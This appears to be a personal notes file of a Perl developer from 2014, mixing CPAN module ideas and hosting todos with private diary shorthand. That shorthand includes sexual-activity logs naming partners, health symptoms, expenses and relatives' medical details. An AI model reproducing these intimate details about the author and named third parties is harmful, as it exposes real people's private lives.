450jt.\n\n2review log any adapter filtered\n\n2w presentation 'kaya'\n\nperiswap plugin to assign to temp var and then assign back to orig. mgln berguna bs lbh cepat. bench dulu. at least berguna utk readability.\n\nq mode spreadaheet utk emacs selain org mode.\n\n2w derbycon 8yo presenting\n\nplmod if::perlver::le ge gt lt between.\n\nplmod like norepeat but for loading perl modules?\n** [2014-10-23 Thu] google keep harumbudi (hp samsung young, terakhir, uninstall, hp terlalu lelet)\nl 22okt sejak mgg laluan or even 2 mgg lalu rontok rambut ydah mulai berkurang.\n\nZh 22okt 0708 jkt kos f fer n fck co. No prn is key. Ht9 e9 er stability 8.\nZH 22okt 0847 jkt kos f ws n fck fer. No prn. H6 e7-8 stab7.\nZh 22okt 1113 jkt kos f fck fer. No prn. H7 e7-8 stab7.\nZh 23okt 1023 jkt kos f fer. No prn. Stab bgs kok.. dibiarkan g kck 10-15dtk ttp g brubah. Fokus lbh bgs. E8 hot8.\n\n2co les inconnus.\n\nq barang apa yg murah n mahal beda bangrt n layak dibeli?\n\nQ knp ereksi n lemes gw cepet bgt. Ga stavil. Cepet naik n trn.\n\nl 14okt mimpi cerai dr liana.. pas k amrik 3some sama teman co n ce. Trnyt bbrp th sblmny gw pernah jg n ketauan n udah dimaafin liana. Skr ktauan lg and thats it. Ga hub lagi dg liana. Ryo udah 5th. Dikasihin k gw.\n\nzh 8okt kos jkt 0208 v twit mus dad\nZh 8okt kos jkt 1136 v twit mil\nZh 8okt 1337 jkt kos v twit\nZh 8okt 1618 jkt kos v bb cs\nZh 8okt 1722 jkt kos v twit\nZh 8okt 2323 jkt kos f kurs\nZh 9okt 0834 jkt kos v twit\nZh 9okt 1013 jkt kos v bb volp women\nZh 10okt 0208 jkt koa v twit\nZh 10okt 0632 jjt kos f fer kurs ws donk\nZh 10okt 1226 jkt kos v twit\nZH 11OKT 0007 jkt kos v twit\nZh 11okt 0646 jkt kos v twit\nZh 13lkt 2346 jkt kos v twit f platih kranyr\nZh 14okt 0628 jkt kos v twit\nZh 14okt 0832 jkt kos v twit f ws bgdck\nZzh 14okt 2030 jkt kos zuk, e 3-7 lack exctmnt :( dg first timer biasany gt, too much prn? Klr kck him thn m.\nZh 15okt 0151 jkt kos v twit. Duh parah lbh sk prn vs real\nZzh 16okt 2030 jkt kos zuk tp hny ks hg n sck nip. Kdg krs 90p tp naik turun. Hm manteng spt ws.\nZZh 17-18okt 2030 jkt fave fer. Gw fck 1x mlm smpt ga pk kndm. Klr kck 2x. Pagi fck. Klr kck. Fer total klr 4x. Pagi2 rmmg gw.\n** [2014-10-07 Tue] google keep harumbudi (hp samsung young)\nSearch text captcha buat cpl\n\nTawarkan ga ke unesco atau yg gitu2. Lebih mau eksperimen. Early adopters.\n\nZh 25sep 0130 jkt kos v twit f wong solo\nZh 25sep 0946 jkt kos f fer ckp\n\nL 6okt bibir pecah kering sampe dikomen dr rosy.\nQ bibir pwcah n kering aja gejala dari apa?\n\nl rumah 4 length + 1. 6okt benerin pompa air kabel kebakar. Di atas ada pipa water heater yg retak/bocor.\n\nsp idea smtpd correct email address mis gmail jd gmail.com. prefer cari plugin postfix/milter aja.\n\nq unconscious mind when reading, ... traiming it\n\nZh 4okt 0301 jkt lps v twit f fer\nZh 3okt 820 jkt kos v twit f\nZh 3 okt 700 jkt kos v twit pol kekar f reza\nzh 2okt 1147 jkt kos v twit\nzh 2okt 1025 jkt koa f ws klr white fck\nzh 2okt 0850 kos jkt v twit f ws klr white\nzh 2okt 0318 jkt kos v twit f pny vino bf\n\npl module: web-based riap client. Ada tree utk navigate packages and entities (ada icon package n function). Form utk execute funcs. Klik kanan bs info, (list), meta, etc. Meta bs dijadiin doc.\n\nQ infinite scrolling yg works di desktop n mobile n opera mini.\n\nPl module gui-based riap client. #e\n\nledgr::parser (ledp) mention python ext much faster. And more featurr complete. But this parser is round trip meqning you can insert tx etc in the middle without ...\n\nPl module to convert bank statement to ledger.\n\nPl module to reconcile between two ledger accounts.\n\nPl module to convert ledger to anothet format?\n\n\ncpl allow vote down like in reddit sbg complement to !++ di metacpan\n\n2co dat\n\nZh 26sep 2357 jkt kos v vid jap s8\nZh 26sep 1700 jkt kos v twit\nZh 26sep 1616 jkt kos v twit klr\nZh 26sep 1132 kos jkt v twit\nZh 26sep 1052 kos jkt v twit om ckp\nZh 26sep 0924 kos jkt v twit ath satp\nZh 26sep 0842 kos jkt v twit om f ws\nzh 25sep 1231 jkt kos v vid fck\nZh 25sep 1441 jkt kos v twit om\n\nga idea platform or app akunting digratiskan tp kita collect data?\n\nperi: - Display an incremental series of steps that get a checkmark and turn green\nwhen ok, or display an error symbol and turn red when not.\n\nPericmd typo correction of subcommand and arg name.\n\nq mwn batas benefit buat anak, buat istri\n\n2co dbix::connection terutama fitur txn n svp\n\n2r amino acids, arginine, lysine etc\n\nga 2co parse.com api\n\nga focus more on id data\n\nGa focus more on ecommerce services': geoip, chevking postal address, ...\n\nGa gocus more on egov?\n\n\n\n2co activerecord::simple\n\nga fake name generator\n\nrumah swtrawangi udah dilaporkan pajak?\n\nq semua benefit buat karyawn ditax?\n\n\xC5\xAAzh 17sep 1111 jkt kos v twit f ws\nZh 17sep 1154 jkt kos shwr f kurs\nZh 18sep 1111  jkt kos bed v twit f wong solo\nZh 19sep 1030 jkt kos v twit\nZh 19sep 1158 jkt kos f satp cyb\nZh 19sep 1406 jkt kos v twit f donk dll\n\nga cat email spam, forim spam, other spam. Bad words. Daftar merk. Daftar vendor. Yellow pages. Public phone book. Private/user phone book.\n\nGa cat google.\n\nGa cat pet dog list breeds usia rata2dll.\n\nGa cat health.\n\nGa permudah forking n special editions utk specific industries.\n\nGa books. Search by isbn?\n\nGa issue search vs list?\n\nGa health hitung bmr ... parameter darah yg sehat...\nArchive hasil tes darah...\n\nCoba cek nama domqin inggris?\n\nGa cat medical list pnyakit standar cdc. Standar lain...\n\nGa realty. Listing rumah. Cek harga jual rumah.\n\nSms. Tarif sms?\n\nTwitter. Persingjat teks. Singkatan. Ganti singkatan dg full. Check sentimen teks.\n\nLiat stdlib d. Ruby. Python. Popular libs on npm pypi cpan etc. Luat api repos lain.\n\n\nl rempong27 13sep sms dr -3669. Nmny skr ibud bkn anom.\n\nl bbrp mgg sblm kjadian jd hyper lg mmg udah sempet punggung ada sedikit ga enak trutama blk dekat tulang belikat kanan?1. Rambut rontok dr 3 bulanan udah deh. Ini hrsny udah jd clue.\n\n2co 4 spanel: psl (public suffix list). Ada perl lib.\n\npakai zfs di radon baru?\n\nfix gudangapi pause email\n\n2co plack::handler::cli, dist zilla deb,\n\n2sub twit fr zh\n\ngafunc 11:35 -> dua belas lebih tiga lima\n\nGafunc 10 des 1975 -> srpuluh desember sembilan belas tujuh lima. Bisa sprintf. Tanggal ... jam ... pukul.\n\nzh 2sep 1012 jkt kos v twit wong solo25\nzh 2sep 0303 jkt kos v twit\nZh 10sep 1013 jkt kos v twit\nZh 10sep 1049 jkt kos v twit f wong solo\nZh 10sep 1515 jkt kos v twit mil\nZh 10sep 1831 jkt kos v twit wong solo\nZh 11sep 0033 jkt kos v stories f reza btk\nZh 11sep 1020 jkt kos f kurs mlm mem\nZh 11sep 1256 jkt kos f rezA\nZh 12sep 0905 jkt kos v jpn bear\nZh 12 sep 1244 jkt kos v jpn f fck fer\nZh 17sep 0850 jkt kos f kurs ws\n\n\n\nbook: how to be a man\n\nZzh 31agu home l 2115 gw orl n fck 10' gw akhrny kck sndr n kiss. F yudh\n\n(Zzh 19agu)\nZh 28agu 0928 jkt kos v twit mus\nKet 28agu mta andyra. Tip 5 kenny rog\nZh 29agu 0657 jkt kos f bear201303 (willy?)\nZh 29agu 1146 jkt kos sit v jap fck\n\nfwr integrate compression tests dari alceu\n\nCiod interface n use cases: insert a key value. Insert if. Replace a key value.\nReplace if. Delete a key value. Dengan comment sesudahny? Dengan koment di atas\natau bawahny?\n** [2014-08-27 Wed] google keep harumdua77 (hp mito a68)\nbench ciodr against config::inifiles etc\n\ngood idea: prove ure human /captcha dll once\n\nciod based on ciodr?\n\nciodr restrict include paths (reading user's iod by root, for example).\n\nciodr limit size, num lines, line length\n\n2co blockspring (kyk gudangapi)\n\nga sentiment analysis of a text. other analysis of a text. extract address pinbb etc etc. extract links.\n\ncpl. utk merangsang org bikin list atau review modul, bikin cli atau browser plugin utk show recent modules bserta input review atau pendapat sekilasny. atau cuma rating 1-4 aja setelag liat pod.\n\nga list of nationalities #pm\n\n2ask subreddit utk nyari old websites\n\nsimplify chart usage. bs tanpa argumen.\n\npl some module with completion: complete module names from cpan, tampilkan pesan waiting dl dan launch background process. cli to goog, complete search autosuggest.\n\nsp design virtual accounts: mgkn remote databasenya. info apa aja yg ditaruh? dafta domain, is-disabled, server-id (tapi klo satu user pake services bbrp server?),\n\nseragamkan args yg dipass ke completion routine.i dont like words, cword, args passed inside extras.\n\n2co string::tagged\n** [2014-07-24 Thu] google keep harumdua77\n2co json::sl\n\n2co iosnoop, blktrace, ftrace\n\npl pericmd-lite-http. akses dg http-tiny. atau http-tiny-unix.\n\npl idea critic module: jika blm ada see also n terdetek nama modul lain dimention (ada exceotion list, dsb)\n\n---\n\nmkey daily report sms buat endrik biar lbh aware\n\nq fitur apa yg ada di mechanicalsoup n ga ada di wwwmech. robobrowse.\n\n2co book bad pharma\n\n2co sp use existing tools or import/steal code from puppet/rex/chef like. to ensure file user/group/perm, etx.\n\nq how to tell stories well\n\npl extract authorize rule di api spanel/peri. i dont like struktur data authorize::rule punya sawyerx.\n\ncek modul2ny FLORA. menarik2.\n\nsp come with our own perl? sp refuse to run if perl compiled with debug flag. if b module etc is loaded.\n\npl log dispatch zmq? laa support zmq\n\nzzh 7jul 2000 fer pagrs, f 1-1, kck variasi ngobrol\n** [2014-07-07 Sen] google keep harumbudi\nbaca anatomi kaki/lutut\n\npost hasil rontgen lutut ke internet n tanya2\n\nsave/backup vm k hdd rutin.\n\nKatanya skr semua libvte 0.36 based termasuk gnome terminal sipports true color. Iterm2 jg.\n\nGa spellcheck a text. Grmmarcheck a text. Indo en auto ...\n\nSkrip utk backup vm otomatis ke?\n\nScan xray. Post to net.\n\nL 3jul dr semingguan yg lalu latihan upper body ringan cuma ayun2 lengan.. dsb.\n\nZzh 30jun 1325 fer 1-1. Pegl 2-3/10\n\nfaster peri rf formats for specific tupe of data structures. Text is pretty slow.\n\n2w docu about aaron schwartz (internets own boy). AlsoWe are legion.\n\nMwn collect more statistics from livechat db or chat archives.\n\nga #e koleksi regex\n\nmkn zinc 2-3 bln sblm pembuahan perly?\n\nide bisnis kafe yg mug nya lucu2. Tiap bbrp bln ganti. Dijual jg mug nya. Di\ncabang yg berbeda beda mugnya.\n\nkenapa ya api spanel lelet, mis di hostingloc, butuh at least. Yg lelet peri-access? salah satu penyebabnya adalah startup sbin/spanel itu sendiri (utk --help aja 0.372s di bismuthb).\n\ncek diskrepansi skrip whisnu dan whmcs\n  - kebenaran query (sekalian dokumentasiin)\n  - tampilan tanggal\n  - log aktivitas\n\nspanel cek bug ganti password email (ganti dengan api gitu?)\n\ncek bug reset daily counter smtp limit (pian)\n\ncek cron mati utk backup (ade)\n\nZh 18jun kos 0051 va sports mscl gd talk\nZh 18jun kos 0236 va sports mscl gd fck tlk\nzh 18jun kos 0358 f ws 6pck klr n pant putih, mlm2 di ks, bahnl bod\nZh 18jun kos 0955 v twit f pols\nZh 18jun kos 1130 v latin fc\nZh 18jun kos 1300 v jap fck mus\nZh 19jun 0223 kos v mjm mus\nZh 19jun 0935 kos v mjm\nZh 19jun 1052 kos v yt satp goy itk\nZh 20jun 0130 kos v twit web musc\nZh 20jun 0930 kos v twit v fck\nZh 25jun 0851 kos v ft fer\nZh 27jun 0053 kos v twit\nZh 27jun 0921 kos v mj\nZh 2jul 0033 kos v twit hdad\nZh 2jul 0713 kos v twit tighwhi dark dad\nZh 2jul 0820 kos v yt bear\nZh 3jul 0847 kos v twit goog dads f wei toko\nZh 3jul 0955 kos v goog dad\nZh 4jul 0135 kos v goog twit f fer fck\nZh 4jul 2316 kos f bbm fer klr put dark bod ws\n\nIntwractive grep? Dmenu, percol, edit a pipe in emacs and output it, what else?\n** [2014-07-07 Sen] google keep harumdua77\nidea tutorial pericmd. how easy it is to create cli programs with it. wonder why i can churn out so many apps? its because of this. zero repetition and i mean zero. i used to be sick or males bikin cli app krn ... hrs specify getopt long lah. each time u add an arg.. trus pod/doc yg bikin males. trus help message. trus ... with pericmd u specify things just once, i promise. walk through a rathr sizeable example (or two, or three. single func and multiple subc, ). tut yg ini ga perlu goes on much details about rinci and sah philosophy. di akhir tut.. if u wonder about the name and uknow what fromthis specu can do much more than ...u dont hv to specify things again. from the same spec. come discover the joy of non-oo programming :)\n\npl module utk gen complete bash script biar lbh cepet. utk yg dynamic, fall back ke\n\nsp idea run thru deparse to protect source?\n\najarin anak vocab. td di dpn kos anakny ko alex sama temen2ny (maybe 7-8th) lg ngobrol: one would say: do you like barbie? no! do you like superman (or whatever)? yes! i like x.ntar mau ge ajarin ah jgn monoton ngomong nya. variasiin dg do u fncy? are u fond of? do u by any chance like .. do u happen to like ... etc\n\n27-28jun bibir bawah tengah sobek/berdarah tp kykny krn krg minum atau kena kawat gigi. pain level 1. skr dah mendingan.\n\ncatat tiap x udah di xray. trakhir wkt cekup rutin kykny\n\nfrekuensi aman max xray\n\nharga historik tanah?\n\nq cara megecrk njop tanah\n\ne 27jun 10.5 warteg gurum, 28jun 2 korek kupg\n\nq apa untung n euginya di blk gedng kantor, ...\n\nq reverting carcinogric rffect pd bkaran\n\nq meilih daerah di jkt\n\nq memilih daerah ringgal kriteria yg benar itu apa\n\nspecial types of list (fave, ...) ga bs diedit title nya? saat add udah dikasih pilihan\n\n2cpanl: modul2 yg ingin direview\n\nacctblnext: pl alternatif utk perisgen-acctbl yg tdk create multiple arg for each field (not scalable) but just provide --cond. ada completion field name+ operator. mis year>2010. b\xC3\xA0hkan bs full parse expr. completion bs complete field name.\n\n expr hrs allow bare name sbg variabel.\n\nexpr compiles to sql where clause.\n\nga jgn free trial tapi moneyback. freemium jg ada. utk free jumlah row result dilimit selain.api2 tertentu hanya bs diakses paid. jgn tobjolka tagline gratis dr awal.\n\nga interface spt playstore utk api? search bs hanya yg free atau incl yg berbayar.\n\nga kerjasama dg penydia api tiki jne utkvsediain di ga\n\nga standar/interface utk vendor data ut ngupdate datanya.\n\nga tempat org berjualan data.\n\n2dl opera 24\n\nzh 25jun 0128 kos v mj ath fck\n\ne 21jun 500 refill bca. 60x,xk + 350k tanah. dipotong dp n notaris setengah\n\nq foot roll inside, scholl,\n\ncek aus pada spatu\n\nblog spanel: tab completion speed improv\n\nblog spanel: indo n english\n\nblog spanel: current state\n\nstrace like but for perl funcs. with timing.\n\nsp idea aside from spanel-completion, make spanel cli itself lighter too by offloading things to server eg cmdline parsing, list of subcmds, api database, ... yg tersisa hny network client n logger n log showing. even rendering of  result (ansitable color etc) can be offloaded.\n\nperiahs return sereal for binary data n compact.\n\nq does sereal do rtl compression?\n\n2w adamk talks\n\nq makanan vitamin buat otak sehari2,\n\n2co kompkeks perumahan jabatan pati tni ad gatsu kuningan\n\nq anatomi lutut\n\ncari reservasi resto atau food related stuffs utk ultah liana\n\ncek archivr.org utk harga historikal 5 10 15 20 thn lalu utk tau rumah tanah area yg naikny lbh cepat atau pelan dr yg lain.\n\nada data2 rumah lain ga ya mis wkt rata2 stlah iklan sampe terjual\n** [2014-07-07 Sen] google keep stevenharyanto\n*** CANCELLED [2014-07-07 Sen] telp 268 residence <2014-07-24 >\n- log ::\n  + [2014-07-23 Wed] penuh terus ah, males. cancel aja.\n** [2014-06-13 Fri] google keep harumbudi\nzh kos 13jun 0912 v mjm musc bear f fck interrac\nzh kos 13jun 0756 v mjm f fck fer or bot pln2 n bkn dia klepek2\nzh koa 12jun 0735 v mjm akng kms gigi rapi\nzh kos 12jun 0047 f fck reza tight btt\n** [2014-06-13 Fri] google keep harumdua77\nri move arfgs-as ke args dan result-naked ke result. supaya purer. tp old prop\nshould be supported for some tineme.\n\nq solusi rambut rontok\n\nperirf html dan pager pake BROWSER\n\npericmd env utk set default format, set pager atau tdk., ... CMDLINE_* perhaps.\nthinkgeneral. avoid json dl jk bs (unlike ansitable envs)\n\nux log any app perpendek url field\n\ncpanl: modules from slowest to fastest. user bs sort. sama spt last version\ndate. first version date. number ofbugs. number of forks. number of ++. number\nof comments.\n\nzh reza 11jun 2100 kos kss sck nip. wo: nothing.\n** [2014-06-11 Wed] google keep harumbudi\nzh 11jun 0716 kos v mj ath\n\nq bowleggedness\n\nl 10jun pkpu\n\n2co b::stats\n\nBuku ttg smell. Improving smell.\n\nzh 4jun 0627 gongyu v mjm mosokas 3s\n\nZh 4jun 2255 v twit om chi musc, f awei\n\nZh 5jun 0130 v crita sr satp, i need sx not lv.\n\nZh 5jun 0757 v tw suryakelana\n\nzh 27mei 2358 \xE5\x85\xAC\xE5\xAF\x93  v:twit crt vid\n\nZh 28mei 0743 gongyu v twit\n\nZzh 29meo 0820 gongyu orl kck f:twit\n\nZzh 30mei 0600 fck k+ fer klr kck. Knee hurts so bad\n\nZh 3jun 0532 gongyu f twit\n\nZh 3jun 0633 gongyu f twit dads\n** [2014-06-11 Wed] google keep harumdua77\ntodo\n\nngomong ke mama soal tomi (takut2in kalo tomi bakal married sama ingniren dan\nmungkin ga ngurus mama lagi)\n\nbeli sepatu wedges.\n\n2co etsy's skyline.\n\npakai gurita. efek samping?\n\nzh 6jun 0645 kos shwr di jingzi kan ziji. yuck.\n\nzh 7jun 0258 kos bed f:satp\n\nzh 7jun 0835 kos bed v:twit musbdad kcmt\n\n5jun meteran 204 11.33 34020086350. 5jun mlm 113.x.\n\nq kos cucian j brp. kulks.\n\nn meter an 1jun awal 1999.900 sd 2085.700 = 94.8kwh = 117173rp. ipl 643.022. mei ibu fel yg bayar 768.476. cutoff listrik 2205? pam 15.41\n\nn prosedur pindah or sewa. tv kabel.\n\nzzh28mei gongyu fer 2350 f  nokss orl c+\n\nzzh 31mei gongyu fer 0540diorl.\n\nfer in ttl c 2x\n\nzzh29mei0650 gongyu orl fer\n\nzzh 30mei 0720 gongyu slf kck fer f:secur advent musc\n\nn fer 11nop1992 maranda\n** [2014-05-27 Tue] google keep harumdua77\ncpanl forum module recommendation?\n\nzh 25mei 0830 \xE5\xAE\xB6\xE9\x87\x8C \xE5\xBA\x8A\xE4\xB8\x8A f:\xE6\x93\x8Ddewa\n\ncpl 2list modul yg namanya bagus n pas\n\npl idea calculator marpa utk finance utk itung ratios dll dg sintaks shortcut\n** [2014-05-27 Tue] google keep harumbudi\nzh 27mei 0640 apt v:mj ath dana83\n\nZh 27mei 0740 apt v:mj ath\n\n2cpanl module yg port dr clojure: camelsnakekebab.\n\nQ slowing down brain degeneration, maintain brain health.\n\nzh 26mei 1044 f:feri jiali cesuo\n\npl module utk parse berbagai cmdline opts like perl eg -I -m -M. Spt getopt::module tp lebih general dikit.\n\nzh 26mei 0430 jiali cesuo kajungwae f:feri\n\nzh 24mei 1753 \xE5\xAE\xB6\xE9\x87\x8C  xishoujian  f:joe dll\n\ncpanl 2list module yg port dari ruby library. Python...\n\npl idea perisgen-acctbl groupby?\n\nn add todo utk denger marshmallow pidcast pas ryo umur 4 th ampir\n\ne 14mei 30 park\n\nE 16 mei 20 park\n\nE 17mei 32 tahu korowt\n\nE 17mei arem2 30\n\nzh 15mei 1535 v:mj\n\nZh 15mei 1638 vmj\n\nZh 16mei 1230 vmj\n\nZh 16mei 1710 showr f fck neng ce :)\n** [2014-04-27 Sun] bb\nRefactor common routines for peri2doc to prrinci::to::doc::util.\n\nwrite pod hooks for\nWrite sample\n\nWrite template guide spanel\nT buat apa guna x.entity\nWrite api utk apiutils\n  - related subcommands (dari modul yg sama, yg berkaitan dg entity yg sama, yg action/verb nya sama).\n  - parse sebuah function name (verb + obj). Cari obj di daftar entoty\n  - list entity yg ada. Ini hrs liat cpanel n plesk juga. Store di db.\n\n\nSp Write a2s\n\nWhy use perinci: \"no cost\". You can jump in as deep/shallow as u want. Partially. No code. Ga spt framework lain.\n\nBrnch perisgen-acctbl filter perf, esp table n other slowr stuff\n\nWhy split periwrap to niormalize + gen wrapper codw? One goal is to be faster at --help cli.\n\nIdea try porting text::widechar::util and text::ansi::util to go, to see how much faster would it be. They are the bottleneck for performance of ansitable.\n\nN anton cikapayang sore, anton ada lg di rukogyan plaza, lauk mas plg rame j10-20, sabtu sd j19 (tp suka sampe tengah mlm krn bnyk pasien). Yg ada rontgen di anton doang tp ktny skr udah ga ada (klo patah tulang, nelen sesuatu, ...). Ade tedi dr 2006 praktek, dr nia adik krlas, martopo dr 1963-2006, umur maybe 67an pas meninggal, merokok kenceng.\n\nQ chinese dicyionary lookup dystem: four corner system\n\nMl 18apr 2300 p wot bntr, jari, kck\n\nPl util utk mengecek backward compat modul dan melist perubahan2. Nambah argumen. Argumen berubah tipe jadi \"lebih sempit\". Atau berubah tipe atau jd different. Berubah default.\n\nCek ukuran memori datetime, cache bbrp ratus n sisanya otomais dlm bentuk frozen.\n\nE 14apr 120.2 griya\n\nQ tjepy air kotor mrusak closet?\n\nL jerawat 17-18apr di pipi atas kanan, blm pernah gede kyk gini n skr agak dark stlah pake odol, apa ini blister hsv? Tp painless kok malah lbh painless drpd jerawat gede biasa\n\nZh 26apr 0711 gongyu f kurs\nZh 24apr 0622 v:yt s8 \xE5\x85\x89\xE5\xA4\xB4 \xE6\x97\xA5\xE7\x89\x87 \xE5\x9B\x9B\xE4\xBA\xBA\xE8\xA1\x8C\nKt 23apr acceptableme\nZh 23apr 2359 apt f:mj ari\nZzh 23apr 2130 mj ari \xE5\x85\xAC\xE5\xAF\x93 jiput plk kc\nZh 23apr 0839 \xE5\x85\xAC\xE5\xAF\x93\xE9\x9B\x85\xE5\x9F\x8E v:yt\nZh 23apr 0629 \xE5\x85\xAC\xE5\xAF\x93\xE9\x9B\x85\xE5\x9F\x8E v:yt\xE5\x81\xA5\xE7\xBE\x8E\nZZh 14apr 1200 \xE9\x98\xBF\xE5\xB0\x94\xE8\xA5\xBF\xE7\x89\xB9 \xE8\xBD\xA6\xE9\x87\x8C \xE5\x90\xBB \xE8\xA2\xAB\xE5\x98\xB4\xE6\x93\x8D klr-\nZh 11apr 1040 v:mj mosokas\nZh 11apr 0115 v:mj bear mus moustc\nZzh 10apr 2230 dewa klr- g klr- g orl\nZh 4apr 0828 v:mj musc hot mil f:donks\nZzh 3apr 2315 p:dewa ki kc f:beben klr put\nZh 3apr 0058 f:mj e:9-10 h:7-8 v:musc f\nZh 2apr 0702 \xE5\x85\xAC\xE5\xAF\x93\nZh 2apr 1315 \xE5\x85\xAC\xE5\xAF\x93 f:mj musc pemicu:ob p budi\n** [2014-03-28 Fri] bb\nHook dokumentasi sama spt hook wrapper utk ...\n\nOptions di periwrap utk dipass/dibaca oleh handler. Conroh utk handler\nresult/table: apakah mau validate result.\n\nQ what is we want to stream a table? Pastikan kompatible dg dux.\n\nPl dfpc return tabel dlm bentuk card terutama jika field nya banyak n tll lebar (1 column rows)\n\nPl dfp by default pilih json-pretty?\n\n2dl lagu rhoma irama\n\n Zzh 18mar apt 2000 indraja. wa? Y.\n Zh 18mar 2330 f:joe indraja\n Zh 19mar 0155 f:joe indraja\n Zh 19mar 0800 f:indraja\n Zh 19mar 2320 f:f ckp arsit\n Zh 22mar 0755 f:satvrno mus b90 h8 s8\n Zh 26mar 0620 f:fck musc, teguhdaya\n Zh 27mar 0712 v:mj ath v:joe anon\n** [2014-03-18 Tue] bb\n3psmoker: write wrapper property logged jika previoudly failed. Log sub entry, args, n return value.\n\nWrite a few more www:: modules (to indoneian websites) to also test 3rd party smoker\n\nCpanl list of startup modules (modul2 yg perlu) [utk pemula, vps, web..., bio..., ] must have modules utk task ttt. To create something like dwim perl.\n\n2n buku administering dc\n\nZzh 5mar 2220 apt dw gw g crot, dw klrin di prut\nZh 7mar 0523 apt v:jajajatibd b:120+ h:7 e:8-9 s:7\nZh 13mar 0220 apt h9 e9-10 b60-120 s8\nZh 13mar 0855 apt h6 e4-7 s7 v:yt binrg medan\nSh 13mar 1012 h3-6 e3-8 s5 v:yt binrg\nZh 14mar 0543 e3-8 s6 b120+ v:yt binrg\nZzh 15mar z 0030 h7-9 e s9 f:beben1234 klr pth, musc ws + f after that, agk lm, I take my time, increasing hotn n hv breathing, klr mcrt, stlhny capk but puas\nZh 15mar apt 0830 h7 b100 s7 v:fck bb f:fck arsit\nZzh 17mar pagi sw L hj org, wot bntr, kck unfin\nZh 18mar apt 0730 h5 b90 s6 f:beben1234 fck arsit, fck so\nZh 18mar apt 0822 h7 b120-150 e6 v:fck musc\n\n** [2014-03-05 Wed] bb\nZh 4mar 2352 h:7 e:5-8 v:mj musc\nE 27feb 1400 dw\nZzh 27feb 2100 apt dw kck\nZh 27feb 0928 satisf:7 e:4-9 90-140bpm v:mj\nZh 27feb 0452 satisf:10 arous:10 e:9-10 f:fck ws, kurs, donks, dw\nZh 26feb 2345 apt satisf:8 e:7-9 f:fck dw\n\nZh 26feb 0170 apt 50-60bpm f:fcking ws,dw,lian e:8-9 satisf:9. Lbh capek n menderu, but much more satisfying. Krn hard.\n\nZh 26feb 0860 apt 60bpm f:ws fck,kurs hrd big dck, being fck, e:8-9 satisf:8-9\n\nE 25feb 13 nasi padang\n\nZh 25feb 2272 apt f:dewa n fckng in general, 60bpm e:8-9, satis 9\n\n2cpanl trivial tools: jpath, rmhere, norepeat, ...\n\nL notlp eva, apak, ebi ...\n\n2cpanl my cli tools\n\nL 25feb order opentrolley nyampe\n\nE 24feb 230 dr nany\nE 24feb Tomi pinjam 100k mand\n\nPl pod from rinci for cmdline prog\n\n2co scrape (cmdline)\n\nQ Is it ok beneficial to swing dogs\nQ how to make dogs, babies smarter\n\n2co programs created in go\n\nPl reimplement ansitable in go\n\nPl Idea parse getoptions from getopt::long and provide a beautiful help like in pericmd. #e\n\nSelain json path ada json pointer. Lalu class:xpath, data::spath. Ada objectpath n jsonquery jg. Jsoniq dll.\n\nZh 23feb 0905 f:ferry\n\nL 21feb dewa, l22 feb kyle,ferry\n\nE 21feb aiu 73\n E 22feb 27 rujjak+krupuk, 50 saboga\nE 23feb 588 angr\nRt 5/rw2 klurahan sukagalih kecamatan sukajadi\n\nZh 22feb 0630 f:dewa e:8-9\nZh 24feb 0270 f:fer dw wils\nZh 24feb 0792 f:donks hrd dck\nZh 22feb 0320 f:dewa e:6\nZh 25feb 0158 f:fck dewa e:8-9 satisf:10\n\nL 25feb atur irama kck spt thrusting, frek 60-90/min, jgn 120-180+ kebiasaan ini bikin erctn krg strong. Too much/fast rangsangan jd malah bikin krg hot kitanya.\n\nE 21feb 17 belanja, 75 xtrans liana\n\nQ how to remember names better\n\nQ finding out menory n cignituve condition\n\nE 19feb nasi 5\n\nPeriwrap: exit 243 jika dapat return 543. Buat dipake di xt-3rd/\n\nQ exercising erctn\n\nSpanel provide js libraries? Jwb: dari debian aja.\n\nSpanel support node.js\n\n2cpanl favorite modules in feb 2014...\n\n2cpanl new interesting modules in feb 2014...\n\n2cpanl interesting updated modules in feb 2014...\n\nN hafiah valentine sisir n buku kaskus n ken\n2co the 7 minte workout\n\nCpanl convert a list to slides presentasi pdf :) opsi utk ambil sinopsis tiap modul. Opsi utk pakai image cover. Opsi utk pilih background image. Opsi additional text/pages.\n\nPerirf format yaml n json etc yg ga nampilin full env, hanya result? Biar gampang\n\nPerirf cmdline utk menampilkan hasil dari pipe, mis: parse-netstat | ... | fmtresp\n\nGa buat yg berbayar, berikan email dengan token link supaya lgs auhenticated.\n\nSp api email sending with template?\n\nE 13feb 12 mkn atlantic 10 jahung rebus\n** [2014-02-12 Wed] bb\nE 12feb 15 air galon\n\n E 11feb bayar inval yeni 11hari=880rb. Duit dr papa +800. Park 100. Reimburse 374. 10 bakso solo baru\n\n L 10feb clip kawat gigi\n\n E 10feb 11park xx makan cairo xxx beli nexus 5 60 dompet hp\n\n E 8feb 160xtrans\n\n Ide bwa mama ke dusun bambu, pasar apung\n\n E 7feb 68 gram, 74 mkn 91 warkit 6 tip 10 tx\n\n Q weird creative ways to make money\n\n E 6feb 15 bank admin fees, 21 mkn\n\n 2w: the act of killing\n\nyusufarslan.net/choosing-control-panel-server-management\n\n 2cpanl: inspiring modules (for various reasons). As with everything else, most things are crap and only bout 1-5% are not. ...\n\n E 5feb 160 xtrans, +16750 uang kematian, 14010 bulanan liana jan14, 3670 katering/konsumsi. +2500 uang dr yayasan mutiara. +2000 share tomi utk peti.\n\n Antibiotik liana rovadin (spiramycin 1.5miu) x63 (21 hari).\n O,\n Spy whmcs (ga cm mkey aja) bs login spanel tanpa password.\n\n Sp permudah login dbg admin n whmcs. By default buatkan user admin n support utk admin n whmcs.\n\n 2co nmon, goaccess (better than apachetop), dstat (pengganti vmstat/iostat, ...). Iftop. Linux-dash. Nload.\n\n 2co atop (top with history)\n\n E 4feb 50 nntn lone surv, 12 park\n\n Public speaking...\n\n Reminder xincia+1\n\n Lisda legek, ko dede porkas, klrg mama papa sukabumi, umur 80an papa. Apak...\n\n E 2feb +2000 dari tomi utk uang peti\n\n Cpanl add tags to a module, nanti otomatis terbentuk list. Dan nanti tagnya bisa dijumlah/stat, jd khusus jgn disimpan sbg list actual.\n\n L 23agu ivan married, cepetiaw nanya ii awan, ...\n\n L ii ayeng nanya ci eeng, yg suaminya dulunya jaya ya...\n\n L ebi mamanya 67, entah hashimoto encephalopathy, atau multiple ... Athrophy, otaknya menciut. Dua dokter di singapore diagnosisny berbeda. Jd skr kyk yg ga stabil emosinya, spt yg kena stroke ringsn.\n\n L rico 2smp grace 5sd hitm kris 3sd.ci lingling rambut pendek.\n\n Sp 